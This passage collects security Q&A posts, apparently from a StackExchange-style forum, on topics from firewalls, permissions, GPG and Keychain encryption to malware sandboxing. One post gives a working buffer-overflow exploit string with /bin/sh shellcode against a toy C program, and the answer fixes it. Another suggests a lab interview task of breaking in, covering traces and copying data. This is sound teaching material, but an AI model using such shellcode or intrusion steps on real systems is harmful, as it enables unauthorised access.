though we have a option of creating access list to restrict access to their respective countries. i beleive its challenge for security becuase some of the countries may be PCI compliant and do different projects.
Is it possible to monitor through the local FW or IPS?

OPTION 2:

Every country has their own FW(ASA or Fortigate)
Can we create VPN in the respective FW? Is it advisable than VPN through MPLS?
Is the VPN free for the Fortigate and ASA?. Is there any limitations?
I believe its easy and have more control to implement VPN in the respective countries
As they will have access only to the particular zone (country)
It will be useful for future projects in terms of compliance.

As usual, please provide your highly valuable comments/answers/opinion. Which is the best way to go

The fact that you have listed out the pros and cons pretty much speaks for itself. There is no right answer here. It comes down to what you feel works best for you.

Many large organisations I work with use MPLS, specifically for the ease of connectivity to anywhere globally, however MPLS itself doesn't offer much security, so a company-owned VPN is almost always used across the ISP's MPLS network.

Either way, you'll want to think about firewall positioning. Is it sufficient to segregate by country? I'd typically segregate by risk profile, country, service, and possibly other criteria...


Handling User Permissions Between Front-end and Back-end We are trying to come up with a permissions/security implementation on our MongoDB backend/Angular front-end environment that accomplishes what we need it to, without being over-bearing or too difficult to build-out/adjust in the future. And, to clarify, I'm referring to the permissions that apply to the end-user of data provided by the API and being displayed in the front-end Angular app. I'm not referring to our back-end admin privileges that apply among our DBAs.

One approach would be to make the permissions schema/model-based, using a plugin such as this (https://www.npmjs.com/package/mongoose-authorization). That way, because this would be granular enough to be defined on each property within each model, only the properties that a front-end consumer should be able to read and/or write to -- based on their role permissions -- are returned when a request is made.

The advantage to this implementation is that the front-end Angular app can consume documents agnostically (i.e., the document has been vetted before it is returned, so there's no checking to do on the front-end).

In terms of best practices, is this the way to do this -- handle all permissions on the API rather than on the front-end consuming app? And does it make sense to do this at the model/property level?

A drawback to this approach would be that we'd have to impact all documents when it came time to change permissions. Maybe there's a way to link the models to a central permissions object?

Or, is there a different way to approach this that's considered more common in terms of following best practices? Knowing that other organizations have all faced these same questions, we want to make sure we're following best practices, and not unnecessarily re-inventing the wheel.

I am less used to angular frontends, but this as always been a question: should the control of user permissions be done client-side or server-side?

The answer was (and IMHO still is) that client side and server side controls serve different purposes:

client side controls help in customizing the UI to only present what the user is allowed to use. The ultimate goal is to avoid the user getting an error because they naively clicked on an apparently valid button
server side controls are there for security reasons.

Even if you can control the UI client side with Angular or other Javascript frameworks, you cannot prevent an attacker (or a user thinking themselves advanced enough...) to analyze the data exchanged between the browser and the server and send forged requests. It is often realized in a legitimate goal to automate some processes, but can have terrible security consequences if the security was implemented client side.

TL/DR: implementing validation controls client side is good practice and generally provides user a better experience, but security has to be implemented server side, so for your question, at API level.


DDoS attack - where are packets dropped? I'm researching into ddos attacks to get a better understanding. I've read lots from this community however one thing I couldn't get my head around is packet dropping.

So lets say I've identified an attack signature and want to drop these packets.

[Attacker]-------------[Hop]----------[Hop]-------[Hop]------[My Server]

At which stage are the packets dropped if they are configured by me, not accidental packet loss.

If they are dropped at my server, how does this help since the packets have already arrived and therefore have taken up bandwidth. Or is packet dropping just a technique to avoid replys being sent out and therefore the attacker has to wait for a timeout?

You're correct that if the packets are reaching your server that the attack has succeeded, mostly. Many businesses will purchase DDOS protection from a company that will drop such packets for you before they reach your precious pipes.

One such company and how the service works, very broadly.
https://www.cloudflare.com/overview


Hacking a car "in real life" There are lots of papers concerning car hacking. It is often done with physical access (by the OBD interface for example), sometimes without (Remote Exploitation of an Unaltered Passenger Vehicle).

The only case of exploitation I've read about is the theft of BMW cars. Are there some other cases of exploitation in real life by villains (or by governments, which can be pretty much the same)?

As reported on Wired in March 2010:

  More than 100 drivers in Austin, Texas found their cars disabled or the horns honking out of control, after an intruder ran amok in a web-based vehicle-immobilization system normally used to get the attention of consumers delinquent in their auto payments.

Other than that, not much, as Sophos says:

  The dangers of cyber attacks on cars has all been theoretical so far: at this point, there’ve been no real-world attacks, as far as we know.
  Only security researchers have managed to send cars into the weeds.


Why ESTABLISHED,RELATED for INPUT only? In many places and tutorials I see people add this line to their iptables:

-A INPUT -m state --state ESTABLISHED,RELATED -j ACCEPT

And they do it only and only for "INPUT". What about OUTPUT and FORWARD?

For OUTPUT: Is it due to the fact that normally everything goes out (OUTPUT) will be allowed? (-j ACCEPT)
For FORWARD: they assume that their firewall machine is also FTP server too(!) otherwise if FTP machine in behind the firewall we need another rule for FORWARD too.

Most firewall policies focus on restricting inbound traffic; they don't try to limit outbound traffic.  That's why this is only applied to INPUT, not OUTPUT.  There would be no point applying it to OUTPUT, if everything that goes out is allowed.

FORWARD is not relevant for endpoints.  It is only relevant for a router that is forwarding traffic.  Most firewall rulesets I see on the Internet are focused on a firewall for an end-user machine or server.


Sandbox environment for "php malware" analysis I would like to know how can I analyse an obfuscated malware php code ?
I heard about cuckoo sandbox, but it seems too overwhelming for this particular task.
So I decided to run a Vagrant box, install php-cli, tcpdump, ... run the php code and look for connections with tcpdump for example ...

What would you do in such case ?
I would like to know if there is some dedicated tools for specific php malware/backdoor analysis ?

Thanks :)

If you have all of the PHP code for the application you can set up a LAMP/WAMP VM and load it up on an IDE. You can run it and set your breakpoints as needed.

Turn off the network card and install and run wireshark in the background. If you need to you can look into some DNS spoofing applications.

If you're very concerned do all of this on dedicated hardware that is not connected to any network.

That should be enough to get you started.


What is the most likely reason Netflix has a password length limit? I think of Netflix as a technically savvy company, so was surprised to see that they have a password length restriction (60 characters).

https://help.netflix.com/en/node/54078

I assume there's a legacy reason for this. What might it be? Presumably they're hashing their passwords; if so, why might they not be able to remove the length limit?

They also disallow the tilde character (~).

I think of Netflix as a technically savvy company, so was surprised to see that they have a password length restriction (60 characters).
I assume there's a legacy reason for this. What might it be?

Some of the reasons in the Q&A: "Why restrict the length of a password?" on StackOverflow are:

An attempt to save storage space. (Source)

The front-end intgrates with some old legacy system that does not handle more than a given number of characters. (Source)

A case-insensitive 10 character alphanumeric password has 839,299,365,868,340,224 possible permutations. (Source)

That's all the space they have in their database to store your password. (Source)

The algorithm they use for encryption doesn't work well with large passwords. (Source)

They are storing your password as plain text and are trying to save space, but it might also be to try and stop people making their passwords really long and then forgetting them. (Source)

Not every answer there was listed above, see the link for other guesses.
Another explanation on StackOverflow Q&A: "Password max length with bcrypt, blowfish" is:

"BCrypt will work with much longer passwords, though only 72 characters are used. You would have no advantage at all, but theoretically you would hinder people with password managers using longer passwords.". (Source) Also refer to this StackOverflow Q&A: "Best Practices: Salting & peppering passwords?".

Any of those reasons sound likely. Netflix is unlikely to discuss how their user's passwords are secured but the limit is long enough for security, just inconvenient if you have a longer password.
Researchers have tested various websites, one of many articles is: "Netflix and Walmart online sites have one thing in common: bad password rules, study shows". Some places simply have poor policies. There are limits to the value of what is being protected.


Has anyone heard of cases where SSL Certificate insurance/warranty paid out? Has anyone heard of any cases where SSL Certificate insurance - sometimes called "warranty" or "liability protection" has actually been paid out? Or is that just a marketing scam?

Godaddy (under "All certificates include"):

  Up to USD 1 million liability protection

ssls.com (last blue square):

  Q: What does warranty mean?

  A: If data transmitted via a secure connection is stolen, Comodo will
  pay a lump warranty sum to the victim of such fraud. But really,
  cracking a 128- or 256-bit cert is absolutely impossible.

The problem with your question is that such a pay out would require that there be a fundamental flaw in the implementation and that the paid warranty would not be under a strict NDA. If it has paid out, no one would know. And, it is unlikely to ever need paying out (given the nature of TLS certificates).

But I'm concerned about your either/or about this being a "scam". It's an easy "bonus" for the vendor to add because the risk is low of ever needing to pay out. That does not mean that it is a scam. If someone could prove harm, and the vendor did not pay out, then there would be press about that fact. I could offer you protection, free of charge, against dragon attacks, and that does not make it a scam.


Can an attacker slow down my server without compromising it? We have a Linux server with WHM/cPanel which has been running without problems for almost 3 years now.
Yesterday, the server became unresponsive (it was definitely there though) for around an hour. Shortly after we received an e-mail saying that our server is involved in a netscan:

Mon Oct 8 03:30:24 2012 TCP MY_SERVER_IP_GOES_HERE 22 => SOME_IP 80

Mon Oct 8 02:57:16 2012 TCP MY_SERVER_IP_GOES_HERE 22 => SOME_IP_2 80

Mon Oct 8 03:26:43 2012 TCP MY_SERVER_IP_GOES_HERE 22 => SOME_IP_3 80

Mon Oct 8 03:26:52 2012 TCP MY_SERVER_IP_GOES_HERE 22 => SOME_IP_3 80

Mon Oct 8 03:13:13 2012 TCP MY_SERVER_IP_GOES_HERE 22 => SOME_IP_3 80

Mon Oct 8 03:13:15 2012 TCP MY_SERVER_IP_GOES_HERE 22 => SOME_IP_4 80

Mon Oct 8 03:21:23 2012 TCP MY_SERVER_IP_GOES_HERE 22 => SOME_IP_4 80

...
...
MANY LINES LATER
...
...

Mon Oct 8 02:45:11 2012 TCP MY_SERVER_IP_GOES_HERE 80 => SOME_OTHER_IP_1 1234

Mon Oct 8 03:19:43 2012 TCP MY_SERVER_IP_GOES_HERE 80 => SOME_OTHER_IP_2 1234

Mon Oct 8 03:24:00 2012 TCP MY_SERVER_IP_GOES_HERE 80 => SOME_OTHER_IP_3 1234

My first thought that we've been compromised, however after checking logs, histories, databases, etc. I see no indication of that. Obviously the attacker may have covered their tracks well, but I see no reason at this point to believe otherwise.

My question is, are there any attacks where an attack can bounce off our server to hit another server, thus slowing down our server but not actually compromising it? If so, what are they called so I can research them?
So it would look something like:

Attacker sends a multitude of packets to my server.
My server receives packets on the ports specified (which seem to be 22 and 80). My server analyzes the packets and says "This packet is meant for SOME_IP on port 80. I'd better forward it on to them"
My server forwards the packets.

Any help would be greatly appreciated.

Have a quick read of the Wikipedia article on reflection attacks: http://en.m.wikipedia.org/wiki/Denial-of-service_attack#section_2

Using Internet Protocol address spoofing, the source address is set to that of the targeted victim, which means all the replies will go to (and flood) the target.

It's a relatively easy way for an attacker to launch a large scale attack from many IP addresses against one target.


Verify external data files for an application I have a C++ application with an algorithm, whose usage I want to protect. The application needs several input data files to work (those may change for each client).

My goal is to allow only unaltered input data files which were registered for use.

My current thoughts are:

The client has the input files as text
Calculate a hash from each file and store that hash in the binary. (Deliver a new binary after each registration.)
Allow only input files with stored hash.

I know that is a very basic approach. What would you suggest to make it more robust?

I know there is no 100% security, I'm just aiming for a reasonable tradeoff between implementing security and simplicity of hacking my application.

Maybe that solution is just fine to you, security is always about the risks you are willing to take.

I could write you how a signature would be a much better approach to you solution since you are the only one who will be able to "sign" the "hashes" so no one else can generate an arbitrary file and just hash it.

But maybe, this approach is far more inconvenient to you because it brings more entropy and work with certificates, development...  And, you know, even that can be bypassed cracking the executable an placing a bunch of jmps...

So, maybe, your approach is fine, the main problem is that anyone can hash a file, so anyone will be able to use your app if they know that trick (you may be thinking about "inventing" your own hash, but anyone here will recommend against it since that is a "security by obscurity approach").

The question here is, how valuable is your software so someone is willing to crack it down? If you think, well, not many users will think about crack it, or most of my users are non-techie type and I don't think they will crack it...


Not able to run the injected shellcode #include <stdio.h>

void secret()
{
    printf("Congratulations!\n");
}

void echo()
{
    char array[60];
    scanf("%s", array);
    printf("You entered: %s\n", array);
}

int main()
{
    echo();
    return 0;
}

above is the code which I am trying to exploit.

I have found the ebp address using gdb, although I know it's difficult to point to the exact location. I have used NOP sled technique

buffer size allocated - 0x44 - 68bytes

shell code is - 25 bytes

python -c 'print "\x90"*47 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80" + "\xa8\xbb\xff\xff"' | ./test

I am trying to jump somewhere in the middle of NOP sled.

And not getting a segmentation fault, but neither am I getting the access to the shell.

The problem is the \x0b character in your shellcode. It is a whitespace character (VT, Vertical Tab) and scanf stops reading at whitespace characters.
You may replace \xb0\x0b by \xb0\x08\x40\x40\x40 which contains no whitespace characters.
b0 0b                   mov    al,0xb

is equivalent to
b0 08                   mov    al,0x8
40                      inc    eax
40                      inc    eax
40                      inc    eax

There may exist shorter solutions.


How is leaving a telephone on the ground a "classic anti-surveillance technique"? I am curious about a comment made in evidence at the London Bridge terror attacks inquest by the lawyer representing several of the victims' families:

There were "opportunities galore" to identify that the London Bridge extremists were plotting an attack, an inquest has heard.
(...)
Mr Patterson [said] that there was one occasion in May when all three men were at the gym "in the dead of night" and were speaking together in the street, but employed a "classic anti-surveillance technique" of leaving a telephone on the ground while they walked away and talked.

(Source1, emphasis mine)
From the transcript of the day's evidence (PDF):

Q. Well, they wouldn’t detach - - they wouldn’t stop thinking . They would be thinking to themselves: goodness me, that’s interesting , I wonder what’s going on, wouldn’t they?
A. A surveillance officer records all movements of the individual , sir .
Q. The person to whom he reports it back would be thinking goodness me, that’s interesting ?
A. Potentially , sir , yes.
Q. Yes, especially when the telephone is placed on the ground before the walk and talk begins, a classic anti - surveillance technique, isn’t it ?
A. Yes, sir

(LBI, Day 18, page 7 (PDF). Q - Mr Patterson, A - Acting Det Ch Insp Wayne Jolley. Emphasis mine.)
Some further context is given in the question and answer immediately following this:

Q. And again and again in these sorts of jihadist plots we see that they go to the centre of a boating lake or the centre of a park or an area of open land and walk and talk so they can distance themselves from any suspected microphones or surveillance techniques; that’s right , isn’t it ?
A. There are many different methods, sir

(ibid.)
I am curious as to how leaving a telephone on the ground in the street is considered an "classic anti-surveillance technique". What surveillance is this countering?
A phone tap - intercepting telephone communications - would not catch people talking in person. I don't believe that it would defeat correlation of locations either, as the individuals were still present at the same location and (from the description) presumably observed together.
What surveillance does leaving a telephone on the ground while walking away counter?
1: The transcript of the day's evidence was not available at time of writing

What surveillance does leaving a telephone on the ground while walking away counter?

If the mobile phone is compromised and acting as a covert listening device, also known as a "bug".  To walk away is so that conversations are too far to be properly heard.

Nobody needs to actually use the phone and make a call for such surveillance to happen, it is just a thing that sits there and collects every sound around it.

Examples

Remotely turning on cell phone microphones, from 2012:

  a judge published a statement that the FBI's established practice of remotely turning on cell phone microphones to monitor conversations was indeed legal.

Source: What are prudent security precautions to take for business travel by people with access to sensitive info?

Even smartphone gyroscopes could be re-purposed into microphones:

  When the researchers tested their gyroscope snooping trick's ability to pick up the numbers one through ten and the syllable "oh"—a simulation of what might be necessary to steal a credit card number, for instance—it could identify as many as 65 percent of digits spoken in the same room as the device by a single speaker.

Source: https://www.wired.com/2014/08/gyroscope-listening-hack/

Further examples: https://www.schneier.com/blog/archives/2006/12/remotely_eavesd_1.html

Other parts of your question

Without further clarifying details from the lawyer, most likely:

  I am curious as to how leaving a telephone on the ground in the street

The ground and street are just due to where this occurred, not specific to understanding the walk-away approach.

  is considered [a] "classic anti-surveillance technique".

The classic is an adjective to describe the anti-surveillance technique, that it "has been done since long ago", implying "everybody" "should already know this". Then the lawyer can say that it is "obvious". From there, how such "obvious" things were missed, so that along with satisfying other requirements, the lawyer can establish that there was negligence and win the case.


Need to create an interview environment for a Security Engineer candidate I work in a medium sized startup as DevOps Engineer and we need to hire a security engineer. Since I have never done it, the company asked me to create an environment where the security engineer candidate should do his tasks as part of the selection process.

I know a bit about security, but I don't know what/how to set up the environment.

The requirement that the candidate should have are

Penetration testing
AWS security practise
Demonstrated technical knowledge of security engineering, computer and network security, authentication and security protocols, and applied cryptography.
Knowledge of the JVM and best security practices
Broad knowledge of security toolsets, including IDS/IPS, SIEM
Experience in CTF contests

What do you suggest? I mean do you suggest to set up IDS, honeypot, services to break and so on. What should be the tasks that the candidate should focus more?

2 possible approaches (these ones are based on whether the candidate will be "blue" - defensive security - or "red" - offensive security"):

Provide AWS account and then ask the candidate to create a minimal secure Java application (meaning create a linux box in AWS secure it in AWS console > linux box > how to secure it (can be even network level considerations, like TIME_WAIT sessions) > webserver > app server / java runtime > JVM security > application security > IDS/SIEM for that application and so on).
For a more offensive bend - create a vulnerable JAVA app (if you so insist on JAVA) or DWVA and ask him to map out the attack surface or find vulnerabilities > then move from application layer to analyzing the server, maybe ask him to break into the server using knowledge gained though application hacking (DWVA in some modes has a vulnerability where you can see all the users - you might leave one user w/ only password protected login shell). After breaking into the server ask him how he would cover his traces and how he would acomplish some goal (you need to have the goal pre-determined, like copying customer information).

This answer should give you:

a simple framework to think about the interview process;
a starting point that could be improved upon;


GPG subkey layout. Separate keys for C, S and E? I've been reading up a lot on GPG recently. This page describes how to setup so-called "laptop keys". The idea being that if you lose your laptop, or have it stolen, your primary certification key, which you locked away at home, is still under your control. You are then free to revoke and reissue your subkeys. Further, you do not have to re-establish trust with those whose key you have signed (please correct me if I am wrong).

In the blog post linked above he sets up the keys like this:

pub  4096R/488BA441  created: 2013-03-13  expires: never       usage: SC
                     trust: ultimate      validity: ultimate
This key was revoked on 2013-03-13 by RSA key 488BA441 Bilbo Baggins
sub  4096R/69B0EA85  created: 2013-03-13  expires: never       usage: E
This key was revoked on 2013-03-13 by RSA key 488BA441 Bilbo Baggins
sub  4096R/C24C2CDA  created: 2013-03-13  expires: never       usage: S
[ultimate] (1). Bilbo Baggins
[ultimate] (2)  [jpeg image of size 5324]

I was wondering if there is any profound reason as to why the primary key has the signing S flag set. I had a play with GPG and found that by using expert options I could make a key (for example) like this:

pub  4096R/488BA441  created: 2013-03-13  expires: never       usage: C
                     trust: ultimate      validity: ultimate
This key was revoked on 2013-03-13 by RSA key 488BA441 Bilbo Baggins
sub  4096R/69B0EA85  created: 2013-03-13  expires: never       usage: E
This key was revoked on 2013-03-13 by RSA key 488BA441 Bilbo Baggins
sub  4096R/C24C2CDA  created: 2013-03-13  expires: never       usage: S
[ultimate] (1). Bilbo Baggins
[ultimate] (2)  [jpeg image of size 5324]

Each key is now for a single purpose. Is this a good way to lay out your key pairs for laptop keys? If not, why not?

The distinction in signing and encryption keys is mostly a necessity for algorithms not capable of doing both: for example, when using DSA for signature, you need another ElGamal encryption subkey. Thus, by default signing and encryption have been split into separate tasks. Certifications are technically also signatures, thus those two capabilities are combined by default.

For having an offline key (and generally being able to revoke single keys, for example after trouble like Debian had with DSA and being able to calculate back the private key based on many signatures), it seems reasonable to completely split up capabilities, removing the signature capability from the primary key and creating an additional signing key.

TL;DR: Go for it, there are no disadvantages if you want to limit the primary key's use to certifications and key management anyway.


How safe is the new iOS Keychain that stores credit card numbers? iOS7 includes iCloud Keychain which syncs your stored passwords across devices. Not only that but it also syncs credit card numbers.

The only information I can find about encryption is that they are encrypted with AES-256, with is symmetric key encryption. Given these facts it would seem like it actually will give credit card numbers to an iOS device, that device will decrypt using a password, and then fill in web forms.

So my question is, does this mean that getting  a users iOS password now mean you can reclaim all of their credit card details in plaintext, along with all of their site passwords or does Apple have additional security to prevent this?

I'm going to break it down into parts, because there are four different storage mechanisms for keychain, providing four attack options to any hacker.

They will go for the weakest one, so you need to get all four right depending how sensitive your keychain contents are.

iOS Keychain Storage

iOS stores keychain data using aes, the question is how is the key generated?

My understanding is the aes key is derived by running the user's passcode or password or  through a custom pbkdf2 hardware chipset, that salts the password with a bit of ROM that's unique to every device and only the pbkdf2 chipset can read it.

This ensures it is impossible to access the aes key except by providing the passcode to the actual iOS device that holds the keychain.

The pbkdf2 chipset is also deliberately slow to try and increase the strength of a four digit passcode, but it's still not really good enough and I would suggest using a password instead of a passcode if you really want to be safe.

When the screen is off (and after whatever delay you have set in settings) the aes key for keychain (and other things) is supposed to be deleted from RAM, forcing the pbkdf2 chipset to be used again to access the key. Features like bluetooth low energy and push notifications make me a bit nervous as to how strong this is, since clearly a lot can be done while the phone is locked. I haven't looked into it properly but I'm a bit concerned there might be some access to the aes key even when the phone is locked. Maybe do a full shutdown if you're worried someone might have physical access to your phone (perhaps someone can edit this section if they know more about it than I do?).

I'm not sure how touch id works, I suspect your passcode/password is encrypted using a key that is stored in the A7's "secure enclave" which is just a marketing term for ARM's equivalent of intel's trusted platform module, although arm's implementation is much newer (the A7 is the first chip to implement it AFAIK) and looks to be more robust than intel's technology.

Mac Keychain

On OS X the keychain just runs a key derivation function (probably pbkdf2 with an appropriate number of rounds) on the user's login password. You can also manually change it to be a different/stronger password.

Personally I have two keychains, my login keychain uses the login password (which is average strength) and I have a second keychain with a much stronger/painful to type password for more sensitive data. This second keychain also isn't synced via iCloud, I manually copy the file around.

iCloud

iCloud also uses aes but there are a couple of options for how the key is stored.

The description of these options does not perfectly match what it seems to actually do, they've simplified it to the point of being misleading.

With all three choices, your encrypted keychain data is stored on apple's server.

However the aes key for the data is only stored on the server if you provide a 4 digit pin or password to "lock" your iCloud Keychain. They can't be doing any fancy hardware key derivation so I think a 4 digit pin is definitely a bad idea.
Use a password, not a 4 digit pin.

I don't think there have been any official statements how the key is derived. Presumably they use pbkdf2 — that's what they use everywhere else.

You also have the option of not providing a passcode or pin. They say this means your data will not be uploaded to the cloud but what it really means is the AES key will never be uploaded to the cloud. With this option whenever you setup a new device it will need to be able to establish a peer-to-peer connection to one of your other existing devices over the internet, and they will share the AES key that way. The device will put up an alert asking for permission before sharing the key. Personally this is the option I use, since my keychain data is backed up elsewhere, so I don't mind if I loose access to iCloud Keychain.

You must also be logged into iCloud to access any keychain stored there, so the iCloud password is also required. However this is just a business policy and not involved in the encryption. Social engineering with Apple's support staff has proven effective to access someone's iCloud account and US Law requires apple provide law enforcement officials access as well. So basically I would ignore the requirement to be logged into iCloud when accessing keychain, as it's an almost useless security measure.

Your Backups

Be wary of your backup procedure. If someone can access your backup they can access your keychain, especially if you use a 4 digit pin on iOS because it cannot use the hardware key derivation (you need to be able to decrypt it without the unique ROM key on the device).

Do you use carbonite/backblaze/Dropbox/iCloud to backup your keychain? I wouldn't trust that with anything sensitive. If you use a hard drive, can it be stolen?

Final thought

Credit Cards do not really need strong encryption. Anybody could steal your wallet or take a photo of your card or skim the magnetic strip when using an ATM or store cash register or hack into your account with sony/adobe/etc. As long as you report stolen cards as soon as you're aware of it and keep an eye on your transaction history to report fraudulent transactions, all credit card theft is covered by insurance and can be reversed.

Personally I don't make online payments very often, so I don't store my credit card in keychain. But I think it's a perfectly safe place to store it. I wouldn't put my internet banking login in keychain though, since that doesn't have the same protection as a credit card.


Possible to use buffer overflow on DLL-injected code? Is it possible to apply buffer overflow on code that was injected using DLL injection?

For instance, if I inject a function foo() into the process, is it possible to call foo() using buffer overflow?
If not, does that mean buffer overflow can only be used to call arbitrary internal functions??

Thanks

Bufferoverflow allows an attacker to let the processor jump to an arbitrary address of the process' memory. Since the DLL injected code will be part of the attacked process' address space, it is possible to jump to the injected code. The challenge will be to find out what foo's address is.


What's the most secure way to save Connection String in Windows Forms application? I just got myself in a new company where they develop Windows Forms applications using .NET technologies and VB.NET, Of course. They use SQL Server databases. The BIG issue is that they store the plain text of Connection String. This is obviously really  dangerous. Becuase .NET application generates a Settings file within the application and a user can open that file in Notepad.
What's the best secure practice for this? Yes. We can store the Connection String inside the code but sometimes the connection String could change.

Thanks for the help.

You have a couple options.

The first, and preferred, would be to establish a web services layer that the application calls instead of going to the database directly.  This, obviously, is going to take a bit of time to build.  However it would mean you could put your DB behind a firewall that only the web services layer could get through.

The second would be to use encrypt the database access portion of the app.config file.  More info here:  https://msdn.microsoft.com/en-us/library/zhhddkxy.aspx

The third option, which you would use in combination with the above options, would be to remove all direct sql queries from the app and replace them with calls to stored procs that require a userid or user token parameter.  Then each proc would check that the id/token was valid for the given action prior to running it.  At the same time you would change the database rights such that only stored procs could be executed.

A fourth option is to implement SSPI in combination with named SQL server users (whether active directory or otherwise).  This would mean adding however many users (or user groups) to your database server.  The upside is that you could control on an individual basis who had rights to log into the DB server AND you wouldn't have a username/password combo in the app.config file.  The downside is that someone needs to maintain that.

*Bear in mind that even if you use encrypted config sections, the user has to have access to the decryption key.  So the only thing this really does is protect the key from people who might read the clear text app.config file.  A determined user with access to the computer the application is running on could still pull the connection string info from either the computer memory or by decrypting the section using alternate means.


User authentication with smart cards or RFID on Mac (OS X) for accessing an encrypted database I am developing a software that handles privacy sensitive data in a local network environment, using Mac computers, to which only a select group of people may have access.

I need to understand how I can provide secure and personalized access to the (same) data by each authorized person.

The data is stored in a SQL database (currently Sqlite but eventually probably Postgresql) and shall be encrypted in the database file. The DB engine shall be able to decrypt the data so that it can search it effortlessly, i.e. I do not want to encrypt the data on the client end already.

With that, I believe that when opening the database, a decryption key needs to be provided since the database cannot manage that on its own. Which means that the computers accessing the server have to know the key. From what I've learned so far, this is done like this:

Each authorized user has a password - that password is used to create a hash code. The hash code is then used to encrypt and decrypt the secret data, in this case the key for the database. This means that for each user account I create, I have to encrypt the same DB key with the user's password.

Furthermore, to prevent people from giving away their passwords too easily, a physical key shall be used to authenticate each user. Some keycard system, probably.

I do not know any keycard systems nor have I ever looked into any authentication systems (e.g, I suspect Kerberos is something related to that, but I have never used it, so there's my level of "expertise" in this area).

My questions are:

How does authentication work with a keycard? What is the output I get from the card reader so that I can then authenticate a user with it? I do need to end up with a hash code to decrypt that user's encrypted data in the end, after all.
What kind of keycards are there for Macs that I can use for custom user authentication in my scenario? I guess I need something that comes with a set of programmable cards? At worst, I imagine I can use any USB based card system as long as its USB level API is publically documented (I've managed to write USB drivers for the Mac in the past). But I don't even know what to look for. What are the systems called I should look for? I've ran into RSA for instance, but I can't even tell if that's suitable for my purpose from their marketing-focused website.
I just learned about RFID tags - they're practically cards with a fixed UUID on them. That's not going to work as they can be easily scanned and replicated, I think. So I rather need something that's actually running a little CPU inside, to perform some secret challenge-response process. As someone pointed out, that'd be "smart cards", I assume now.

Update 1

I had some additional thoughts on using RFID cards. While they can be copied easily, I could combine them with having the user enter a personal password, then use the RFID's unique ID with the password to create a hash code that I then use to decode the encryption key for the database. An attacker would therefore need two things - the card and the user's password, which is good enough a proctection in my case. Does that technique make sense?

I am not sure if your idea about the database encryption will work the best. But just to give you an idea about your need to use a 2nd factor for the encryption.

Devices or Apps like the Google Authenticator use a one time password algorithm. This is based on a symmetric key. Such an algorithm and device can not be used for encryption.

You want to use asymmetric keys (>= RSA2048) to do the following.
Create a key pair of a private and a public key on the smartcard.
The private key does not leave the smartcard. The public key does. As it is public. The private key will be unique in hardware, as it does not leave the hardware.

Encrypt your database with a symmetric AES key.

Now you can encrypt the symmetric AES key with the public key.
Each time the user wants to access the database you can decrypt the encrypted AES key in the smartcard (with the private key) and the AES encryption key can be used to decrypt the database.
Of course you need to take care that the symmetric AES encryption key is not leaked.

But now you can add new users with their own asymmetric key pairs. For each user you can encrypt the AES encryption key with the user's public key. Thus only this user can decrypt the AES encryption key with his private key. And you can manage, which user will be able to decrypt the database.

...if you want to do this all you have a whole long way to go! Have fun ;-)


How to capture packet using agent in JADE (Java Agent Development Framework)? I need to design an IDS using Mobile agent. Can anyone suggest how packet capture software is efficient in JADE, how to match the captured packet for intrusion?

I am not familiar with JADE, but at a first glance it doesn't look like it supports packet capture. For that you will need a native binding to a packet capture library. In java, this would be JPCap.

Once you have the packet sniffing working, you need to come up with a set of rules. The preferred method is to create a whitelist; write rules that describe normal traffic, with as little room for change as possible, and then log anything else.


Using DD to get the hash of a non-system partition encrypted by VeraCrypt I am trying to use DD for Windows to obtain the hash of a non-system partition that was encrypted via Veracrypt, but have run into a bit of a problem.

The command I used to get the hash of the encrypted partition looks like this

dd if=\\?\Device\HarddiskVolume11 of=hash_output.txt bs=512 count=1

And this command (in theory) should create a file called hash_output.txt that contains the encrypted hash that should, for example, look something similar to this:

(Šö÷…o¢–n[¨hìî‹¬ùlŒ‡¬»J`<Q›þIšê1ªCúÍbÔcN„ÐŒ3+d.dWr€-¡tä66¶ˆÎ

However, the output I am getting when issuing the DD command above looks more like this:

fb55 d397 2879 2f55 7653 24a3 c250 14d3
3711 7109 e563 617f ab73 f11a 3469 33bb

Which is obviously not the hash I was expecting so I am hoping someone might be able to help me figure out what I am doing wrong.

Some things to note:

I am 100% positive that the drive I am selecting in the DD command is the right drive.
There is only 1 encrypted partition on the drive that spans the entire size of the drive.
There is no physical / functional damage to the drive which would cause this issue.
This on an external 1tb drive that is connected via usb 3.0 (I have tried other cables and ports).
The same DD command worked fine for a test drive that I encrypted using the same parameters that were set for this drive.

Your dd command is simply copying 512 bytes to the output file. If you want a hash, you need to pipe it into a hash function such as:

dd if=\\?\Device\HarddiskVolume11 bs=512 count=1 | md5sum

For example on my Linux machine (with normal slashes instead of Windows backslashes):

dd if=/dev/sdb bs=512 count=1 | md5sum
1+0 records in
1+0 records out
512 bytes copied, 0.00163753 s, 313 kB/s
5b31a7aa24ccde6a44083cb30e33db4d

--------  edit --------

I see; you are trying to get a volume header not produce a hash.

First you need to make sure you're viewing data in a consistent manner. I'm not sure what Windows commands and tools you have available, but I suggest you display your data in a canonical format. One way is by piping your data to hexdump, for example:

dd if=veracryptcontainer bs=512 count=1 | hexdump -C
1+0 records in
1+0 records out
512 bytes copied, 0.0578936 s, 8.8 kB/s
00000000  21 09 b4 29 58 67 31 ca  22 f3 8f bb c9 65 33 63  |!..)Xg1."....e3c|
00000010  54 de 18 44 2e 95 2e 7b  74 6b cc 4a dd 80 77 8b  |T..D...{tk.J..w.|
00000020  e8 c3 fb 5f ec 44 ea 67  1a de 9a 21 2a e9 06 c8  |..._.D.g...!*...|
00000030  bb 5a b8 c0 79 ad 66 c2  6b 51 03 03 8c ba 74 94  |.Z..y.f.kQ....t.|
00000040  96 de 57 8f 34 6b 65 e0  92 56 bf 14 71 0b 37 43  |..W.4ke..V..q.7C|
00000050  f3 dd d2 cd 06 aa 50 ee  46 20 c9 2d 55 4b a5 df  |......P.F .-UK..|
00000060  73 cf a3 d3 a3 d3 b2 86  07 a0 d0 1b 4f ea 68 ce  |s...........O.h.|
00000070  77 01 98 e0 5b ea e5 22  be ff 09 0b ef 6e f9 ce  |w...[..".....n..|
00000080  c9 e6 6a 15 30 85 ff e5  bc 7b 5e b8 2f 35 f1 4a  |..j.0....{^./5.J|
00000090  ac 1a 76 e5 33 e2 37 8d  fd a0 b8 e5 ad e2 85 58  |..v.3.7........X|
000000a0  0f 8a 1a 42 85 f5 23 2b  b9 be ef 8e a8 68 82 b0  |...B..#+.....h..|
000000b0  63 a5 91 1d 7c 74 b4 c9  bc 9f fe 4e a1 e8 63 17  |c...|t.....N..c.|
